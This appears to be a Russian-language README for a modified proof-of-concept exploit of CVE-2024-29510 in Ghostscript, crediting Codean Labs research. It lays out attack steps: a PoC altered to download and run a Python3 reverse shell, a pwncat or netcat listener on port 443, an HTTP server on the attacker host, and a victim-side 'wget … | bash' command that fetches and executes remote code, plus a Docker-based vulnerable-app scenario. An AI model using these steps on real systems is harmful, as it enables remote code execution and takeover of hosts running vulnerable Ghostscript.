Оригинальное исследование и код PoC: https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/
ПРИМЕЧАНИЕ: Я не вносил никаких изменений в PoC, кроме выполняемой команды. Полная заслуга принадлежит Томасу Ринсме из Codean Labs за их потрясающее исследование и PoC.
Локальный сценарий
- Обёрнут в скрипт-загрузчик для загрузки и выполнения скрипта проверки, чтобы узнать, уязвим ли хост.
- PoC изменён для загрузки и выполнения обратного шелла Python3.
- Загрузчик и обратный шелл загружаются и выполняются через STDIN.
- PoC оставляет артефакт в /tmp со случайным именем.
На атакующем хосте:
- Используя pwncat-cs или netcat, создайте слушатель на порт 443.
- Перейдите в директорию эксплойта.
- python3 -m http.server 80
На хосте жертвы (Ubuntu 23.10 с Ghostscript 10.01.2):
- Откройте терминал и выполните: export RHOST=''; wget -q http://$RHOST/run -O - | bash &
Удаленный сценарий (VulnApp)
- Соберите VulnApp с помощью: 'docker build -t cve-2024-29510-demo:latest .' (Требуется копия https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10021/ghostscript-10.02.1.tar.gz в директории Dockerfile)
- Запустите VulnApp с помощью: 'docker run --rm -p 5000:5000 cve-2024-29510-demo:latest'
- Попробуйте преобразовать good.ps для проверки функциональности. Должен вернуться PDF с линиями, рисующими стрелку, например '>'
- Настройте веб-сервер на порту 80, размещающий shell.html, например 'python3 -m http.server 80'
- Используя pwncat-cs или netcat, создайте слушатель на порт 443.